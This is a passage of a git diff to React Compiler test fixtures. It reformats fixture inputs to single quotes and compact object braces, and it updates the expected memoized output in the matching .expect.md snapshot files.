index 3b7630fba730..4034364ec9a0 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/default-param-with-reorderable-callback.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/default-param-with-reorderable-callback.js
@@ -1,4 +1,4 @@
-function Component(x = () => [-1, true, 42.0, "hello"]) {
+function Component(x = () => [-1, true, 42.0, 'hello']) {
   return x;
 }
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/delete-computed-property.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/delete-computed-property.expect.md
index b7b201d4c51c..02be1a0ca478 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/delete-computed-property.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/delete-computed-property.expect.md
@@ -3,16 +3,16 @@
 
 ```javascript
 function Component(props) {
-  const x = { a: props.a, b: props.b };
-  const key = "b";
+  const x = {a: props.a, b: props.b};
+  const key = 'b';
   delete x[key];
   return x;
 }
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
 
 ```
@@ -26,6 +26,7 @@ function Component(props) {
   let x;
   if ($[0] !== props.a || $[1] !== props.b) {
     x = { a: props.a, b: props.b };
+
     delete x["b"];
     $[0] = props.a;
     $[1] = props.b;
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/delete-computed-property.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/delete-computed-property.js
index d61a805e6aa6..5cc8ceb8e1e0 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/delete-computed-property.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/delete-computed-property.js
@@ -1,12 +1,12 @@
 function Component(props) {
-  const x = { a: props.a, b: props.b };
-  const key = "b";
+  const x = {a: props.a, b: props.b};
+  const key = 'b';
   delete x[key];
   return x;
 }
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/delete-property.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/delete-property.expect.md
index 764a26f07b3e..a68721b5a221 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/delete-property.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/delete-property.expect.md
@@ -3,15 +3,15 @@
 
 ```javascript
 function Component(props) {
-  const x = { a: props.a, b: props.b };
+  const x = {a: props.a, b: props.b};
   delete x.b;
   return x;
 }
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
 
 ```
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/delete-property.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/delete-property.js
index 67fdff18ad6e..4d0354f3c31a 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/delete-property.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/delete-property.js
@@ -1,11 +1,11 @@
 function Component(props) {
-  const x = { a: props.a, b: props.b };
+  const x = {a: props.a, b: props.b};
   delete x.b;
   return x;
 }
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/dependencies-outputs.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/dependencies-outputs.expect.md
index 8f3e06a4d5f3..80f0508fd833 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/dependencies-outputs.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/dependencies-outputs.expect.md
@@ -19,8 +19,8 @@ function foo(a, b) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: foo,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
 
 ```
@@ -41,20 +41,22 @@ function foo(a, b) {
     x = $[1];
   }
   let y;
-  if ($[2] !== x || $[3] !== b) {
+  if ($[2] !== b || $[3] !== x) {
     y = [];
     if (x.length) {
       y.push(x);
     }
+
     if (b) {
       y.push(b);
     }
-    $[2] = x;
-    $[3] = b;
+    $[2] = b;
+    $[3] = x;
     $[4] = y;
   } else {
     y = $[4];
   }
+
   return y;
 }
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/dependencies-outputs.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/dependencies-outputs.js
index 19eb84f79409..4aed98527db0 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/dependencies-outputs.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/dependencies-outputs.js
@@ -15,6 +15,6 @@ function foo(a, b) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: foo,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/dependencies.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/dependencies.expect.md
index 4707dddce75f..057c6ba25338 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/dependencies.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/dependencies.expect.md
@@ -20,8 +20,8 @@ function foo(x, y, z) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: foo,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
 
 ```
@@ -46,9 +46,11 @@ function foo(x, y, z) {
   } else {
     items2 = $[2];
   }
+
   if (y) {
     items.push(x);
   }
+
   return items2;
 }
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/dependencies.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/dependencies.js
index d4d06b05b43f..206ee7a10685 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/dependencies.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/dependencies.js
@@ -16,6 +16,6 @@ function foo(x, y, z) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: foo,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructure-array-assignment-to-context-var.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructure-array-assignment-to-context-var.expect.md
index 937bb7c2b623..1268cbcfdc3d 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructure-array-assignment-to-context-var.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructure-array-assignment-to-context-var.expect.md
@@ -2,7 +2,7 @@
 ## Input
 
 ```javascript
-import { identity } from "shared-runtime";
+import {identity} from 'shared-runtime';
 
 function Component(props) {
   let x;
@@ -11,12 +11,12 @@ function Component(props) {
     x = identity(props.value[0]);
   };
   foo();
-  return { x };
+  return {x};
 }
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ value: [42] }],
+  params: [{value: [42]}],
 };
 
 ```
@@ -43,16 +43,15 @@ function Component(props) {
   } else {
     x = $[1];
   }
-  const t0 = x;
-  let t1;
-  if ($[2] !== t0) {
-    t1 = { x: t0 };
-    $[2] = t0;
-    $[3] = t1;
+  let t0;
+  if ($[2] !== x) {
+    t0 = { x };
+    $[2] = x;
+    $[3] = t0;
   } else {
-    t1 = $[3];
+    t0 = $[3];
   }
-  return t1;
+  return t0;
 }
 
 export const FIXTURE_ENTRYPOINT = {
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructure-array-assignment-to-context-var.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructure-array-assignment-to-context-var.js
index c13d3237bd22..349bea080c1f 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructure-array-assignment-to-context-var.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructure-array-assignment-to-context-var.js
@@ -1,4 +1,4 @@
-import { identity } from "shared-runtime";
+import {identity} from 'shared-runtime';
 
 function Component(props) {
   let x;
@@ -7,10 +7,10 @@ function Component(props) {
     x = identity(props.value[0]);
   };
   foo();
-  return { x };
+  return {x};
 }
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ value: [42] }],
+  params: [{value: [42]}],
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructure-array-declaration-to-context-var.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructure-array-declaration-to-context-var.expect.md
index e79bf7f17145..769e4871f4ad 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructure-array-declaration-to-context-var.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructure-array-declaration-to-context-var.expect.md
@@ -2,7 +2,7 @@
 ## Input
 
 ```javascript
-import { identity } from "shared-runtime";
+import {identity} from 'shared-runtime';
 
 function Component(props) {
   let [x] = props.value;
@@ -10,12 +10,12 @@ function Component(props) {
     x = identity(props.value[0]);
   };
   foo();
-  return { x };
+  return <div>{x}</div>;
 }
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ value: [42] }],
+  params: [{value: [42]}],
 };
 
 ```
@@ -42,16 +42,15 @@ function Component(props) {
   } else {
     x = $[1];
   }
-  const t0 = x;
-  let t1;
-  if ($[2] !== t0) {
-    t1 = { x: t0 };
-    $[2] = t0;
-    $[3] = t1;
+  let t0;
+  if ($[2] !== x) {
+    t0 = <div>{x}</div>;
+    $[2] = x;
+    $[3] = t0;
   } else {
-    t1 = $[3];
+    t0 = $[3];
   }
-  return t1;
+  return t0;
 }
 
 export const FIXTURE_ENTRYPOINT = {
@@ -62,4 +61,4 @@ export const FIXTURE_ENTRYPOINT = {
 ```
       
 ### Eval output
-(kind: ok) {"x":42}
\ No newline at end of file
+(kind: ok) <div>42</div>
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructure-array-declaration-to-context-var.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructure-array-declaration-to-context-var.js
index 6809c3b98c99..bc9324a35f06 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructure-array-declaration-to-context-var.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructure-array-declaration-to-context-var.js
@@ -1,4 +1,4 @@
-import { identity } from "shared-runtime";
+import {identity} from 'shared-runtime';
 
 function Component(props) {
   let [x] = props.value;
@@ -6,10 +6,10 @@ function Component(props) {
     x = identity(props.value[0]);
   };
   foo();
-  return { x };
+  return <div>{x}</div>;
 }
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ value: [42] }],
+  params: [{value: [42]}],
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructure-capture-global.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructure-capture-global.expect.md
index 83d4da4b2db3..cbe56f29c07f 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructure-capture-global.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructure-capture-global.expect.md
@@ -4,13 +4,13 @@
 ```javascript
 let someGlobal = {};
 function component(a) {
-  let x = { a, someGlobal };
+  let x = {a, someGlobal};
   return x;
 }
 
 export const FIXTURE_ENTRYPOINT = {
   fn: component,
-  params: ["value 1"],
+  params: ['value 1'],
   isComponent: false,
 };
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructure-capture-global.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructure-capture-global.js
index e36275597d2d..926a18e1e4b8 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructure-capture-global.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructure-capture-global.js
@@ -1,11 +1,11 @@
 let someGlobal = {};
 function component(a) {
-  let x = { a, someGlobal };
+  let x = {a, someGlobal};
   return x;
 }
 
 export const FIXTURE_ENTRYPOINT = {
   fn: component,
-  params: ["value 1"],
+  params: ['value 1'],
   isComponent: false,
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructure-default-array-with-unary.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructure-default-array-with-unary.expect.md
index c595b453596f..de9083fbec86 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructure-default-array-with-unary.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructure-default-array-with-unary.expect.md
@@ -9,7 +9,7 @@ function Component(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ value: [] }],
+  params: [{value: []}],
 };
 
 ```
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructure-default-array-with-unary.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructure-default-array-with-unary.js
index 90dfe07ce032..56f1ab229a93 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructure-default-array-with-unary.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructure-default-array-with-unary.js
@@ -5,5 +5,5 @@ function Component(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ value: [] }],
+  params: [{value: []}],
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructure-direct-reassignment.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructure-direct-reassignment.expect.md
index dfb1ae856579..3b2768d350a6 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructure-direct-reassignment.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructure-direct-reassignment.expect.md
@@ -2,9 +2,10 @@
 ## Input
 
 ```javascript
+// @enablePreserveExistingMemoizationGuarantees:false
 function foo(props) {
   let x, y;
-  ({ x, y } = { x: props.a, y: props.b });
+  ({x, y} = {x: props.a, y: props.b});
   console.log(x); // prevent DCE from eliminating `x` altogether
   x = props.c;
   return x + y;
@@ -12,8 +13,8 @@ function foo(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: foo,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
 
 ```
@@ -21,6 +22,7 @@ export const FIXTURE_ENTRYPOINT = {
 ## Code
 
 ```javascript
+// @enablePreserveExistingMemoizationGuarantees:false
 function foo(props) {
   let x;
   let y;
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructure-direct-reassignment.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructure-direct-reassignment.js
index 0e874b383344..ec10d66f26d2 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructure-direct-reassignment.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructure-direct-reassignment.js
@@ -1,6 +1,7 @@
+// @enablePreserveExistingMemoizationGuarantees:false
 function foo(props) {
   let x, y;
-  ({ x, y } = { x: props.a, y: props.b });
+  ({x, y} = {x: props.a, y: props.b});
   console.log(x); // prevent DCE from eliminating `x` altogether
   x = props.c;
   return x + y;
@@ -8,6 +9,6 @@ function foo(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: foo,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructure-in-branch-ssa.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructure-in-branch-ssa.expect.md
index f84964e3f9fb..b15978910626 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructure-in-branch-ssa.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructure-in-branch-ssa.expect.md
@@ -13,7 +13,7 @@ function useFoo(props: {
   let z = null;
   const myList = [];
   if (props.doDestructure) {
-    ({ x, y, z } = props);
+    ({x, y, z} = props);
 
     myList.push(z);
   }
@@ -26,7 +26,7 @@ function useFoo(props: {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: useFoo,
-  params: [{ x: "hello", y: "world", doDestructure: true }],
+  params: [{x: 'hello', y: 'world', doDestructure: true}],
 };
 
 ```
@@ -61,11 +61,11 @@ function useFoo(props) {
     z = $[4];
   }
   let t0;
-  if ($[5] !== x || $[6] !== y || $[7] !== myList) {
+  if ($[5] !== myList || $[6] !== x || $[7] !== y) {
     t0 = { x, y, myList };
-    $[5] = x;
-    $[6] = y;
-    $[7] = myList;
+    $[5] = myList;
+    $[6] = x;
+    $[7] = y;
     $[8] = t0;
   } else {
     t0 = $[8];
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructure-in-branch-ssa.ts b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructure-in-branch-ssa.ts
index 1a6cb7b937fb..68ebba9322dc 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructure-in-branch-ssa.ts
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructure-in-branch-ssa.ts
@@ -9,7 +9,7 @@ function useFoo(props: {
   let z = null;
   const myList = [];
   if (props.doDestructure) {
-    ({ x, y, z } = props);
+    ({x, y, z} = props);
 
     myList.push(z);
   }
@@ -22,5 +22,5 @@ function useFoo(props: {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: useFoo,
-  params: [{ x: "hello", y: "world", doDestructure: true }],
+  params: [{x: 'hello', y: 'world', doDestructure: true}],
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructure-mixed-property-key-types.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructure-mixed-property-key-types.expect.md
index 08209add30a1..559cd4445269 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructure-mixed-property-key-types.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructure-mixed-property-key-types.expect.md
@@ -3,11 +3,7 @@
 
 ```javascript
 function foo() {
-  const {
-    "data-foo-bar": x,
-    a: y,
-    data: z,
-  } = { "data-foo-bar": 1, a: 2, data: 3 };
+  const {'data-foo-bar': x, a: y, data: z} = {'data-foo-bar': 1, a: 2, data: 3};
   return [x, y, z];
 }
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructure-mixed-property-key-types.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructure-mixed-property-key-types.js
index 9416e462b097..5cda90c4d538 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructure-mixed-property-key-types.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructure-mixed-property-key-types.js
@@ -1,9 +1,5 @@
 function foo() {
-  const {
-    "data-foo-bar": x,
-    a: y,
-    data: z,
-  } = { "data-foo-bar": 1, a: 2, data: 3 };
+  const {'data-foo-bar': x, a: y, data: z} = {'data-foo-bar': 1, a: 2, data: 3};
   return [x, y, z];
 }
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructure-object-assignment-to-context-var.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructure-object-assignment-to-context-var.expect.md
index 89296533fa6f..e66ef2df13d5 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructure-object-assignment-to-context-var.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructure-object-assignment-to-context-var.expect.md
@@ -2,21 +2,21 @@
 ## Input
 
 ```javascript
-import { identity } from "shared-runtime";
+import {identity} from 'shared-runtime';
 
 function Component(props) {
   let x;
-  ({ x } = props);
+  ({x} = props);
   const foo = () => {
     x = identity(props.x);
   };
   foo();
-  return { x };
+  return {x};
 }
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ x: 42 }],
+  params: [{x: 42}],
 };
 
 ```
@@ -43,16 +43,15 @@ function Component(props) {
   } else {
     x = $[1];
   }
-  const t0 = x;
-  let t1;
-  if ($[2] !== t0) {
-    t1 = { x: t0 };
-    $[2] = t0;
-    $[3] = t1;
+  let t0;
+  if ($[2] !== x) {
+    t0 = { x };
+    $[2] = x;
+    $[3] = t0;
   } else {
-    t1 = $[3];
+    t0 = $[3];
   }
-  return t1;
+  return t0;
 }
 
 export const FIXTURE_ENTRYPOINT = {
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructure-object-assignment-to-context-var.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructure-object-assignment-to-context-var.js
index 1a20b5c09078..d2a5c7d52c7d 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructure-object-assignment-to-context-var.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructure-object-assignment-to-context-var.js
@@ -1,16 +1,16 @@
-import { identity } from "shared-runtime";
+import {identity} from 'shared-runtime';
 
 function Component(props) {
   let x;
-  ({ x } = props);
+  ({x} = props);
   const foo = () => {
     x = identity(props.x);
   };
   foo();
-  return { x };
+  return {x};
 }
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ x: 42 }],
+  params: [{x: 42}],
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructure-object-declaration-to-context-var.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructure-object-declaration-to-context-var.expect.md
index 50c9ffa7668b..66799c5c4720 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructure-object-declaration-to-context-var.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructure-object-declaration-to-context-var.expect.md
@@ -2,20 +2,20 @@
 ## Input
 
 ```javascript
-import { identity } from "shared-runtime";
+import {identity} from 'shared-runtime';
 
 function Component(props) {
-  let { x } = props;
+  let {x} = props;
   const foo = () => {
     x = identity(props.x);
   };
   foo();
-  return { x };
+  return {x};
 }
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ x: 42 }],
+  params: [{x: 42}],
 };
 
 ```
@@ -42,16 +42,15 @@ function Component(props) {
   } else {
     x = $[1];
   }
-  const t0 = x;
-  let t1;
-  if ($[2] !== t0) {
-    t1 = { x: t0 };
-    $[2] = t0;
-    $[3] = t1;
+  let t0;
+  if ($[2] !== x) {
+    t0 = { x };
+    $[2] = x;
+    $[3] = t0;
   } else {
-    t1 = $[3];
+    t0 = $[3];
   }
-  return t1;
+  return t0;
 }
 
 export const FIXTURE_ENTRYPOINT = {
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructure-object-declaration-to-context-var.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructure-object-declaration-to-context-var.js
index eb70f0bf309a..bf1c778bc2d5 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructure-object-declaration-to-context-var.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructure-object-declaration-to-context-var.js
@@ -1,15 +1,15 @@
-import { identity } from "shared-runtime";
+import {identity} from 'shared-runtime';
 
 function Component(props) {
-  let { x } = props;
+  let {x} = props;
   const foo = () => {
     x = identity(props.x);
   };
   foo();
-  return { x };
+  return {x};
 }
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ x: 42 }],
+  params: [{x: 42}],
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructure-param-string-literal-key-invalid-identifier.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructure-param-string-literal-key-invalid-identifier.expect.md
index d4b16fda13f3..56213c82566b 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructure-param-string-literal-key-invalid-identifier.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructure-param-string-literal-key-invalid-identifier.expect.md
@@ -2,13 +2,13 @@
 ## Input
 
 ```javascript
-function foo({ "data-foo-bar": dataTestID }) {
+function foo({'data-foo-bar': dataTestID}) {
   return dataTestID;
 }
 
 export const FIXTURE_ENTRYPOINT = {
   fn: foo,
-  params: [{ "data-foo-bar": {} }],
+  params: [{'data-foo-bar': {}}],
   isComponent: false,
 };
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructure-param-string-literal-key-invalid-identifier.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructure-param-string-literal-key-invalid-identifier.js
index 9165466d9d53..a402345d5c0a 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructure-param-string-literal-key-invalid-identifier.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructure-param-string-literal-key-invalid-identifier.js
@@ -1,9 +1,9 @@
-function foo({ "data-foo-bar": dataTestID }) {
+function foo({'data-foo-bar': dataTestID}) {
   return dataTestID;
 }
 
 export const FIXTURE_ENTRYPOINT = {
   fn: foo,
-  params: [{ "data-foo-bar": {} }],
+  params: [{'data-foo-bar': {}}],
   isComponent: false,
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructure-param-string-literal-key.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructure-param-string-literal-key.expect.md
index 200e62470918..5b30debae776 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructure-param-string-literal-key.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructure-param-string-literal-key.expect.md
@@ -2,13 +2,13 @@
 ## Input
 
 ```javascript
-function foo({ data: dataTestID }) {
+function foo({data: dataTestID}) {
   return dataTestID;
 }
 
 export const FIXTURE_ENTRYPOINT = {
   fn: foo,
-  params: [{ data: {} }],
+  params: [{data: {}}],
   isComponent: false,
 };
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructure-param-string-literal-key.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructure-param-string-literal-key.js
index e7aa51642fc7..9749e11d46de 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructure-param-string-literal-key.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructure-param-string-literal-key.js
@@ -1,9 +1,9 @@
-function foo({ data: dataTestID }) {
+function foo({data: dataTestID}) {
   return dataTestID;
 }
 
 export const FIXTURE_ENTRYPOINT = {
   fn: foo,
-  params: [{ data: {} }],
+  params: [{data: {}}],
   isComponent: false,
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructure-string-literal-invalid-identifier-property-key.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructure-string-literal-invalid-identifier-property-key.expect.md
index 5c12b96e68f9..ba35e5af57b2 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructure-string-literal-invalid-identifier-property-key.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructure-string-literal-invalid-identifier-property-key.expect.md
@@ -3,7 +3,7 @@
 
 ```javascript
 function foo() {
-  const { "data-foo-bar": t } = { "data-foo-bar": 1 };
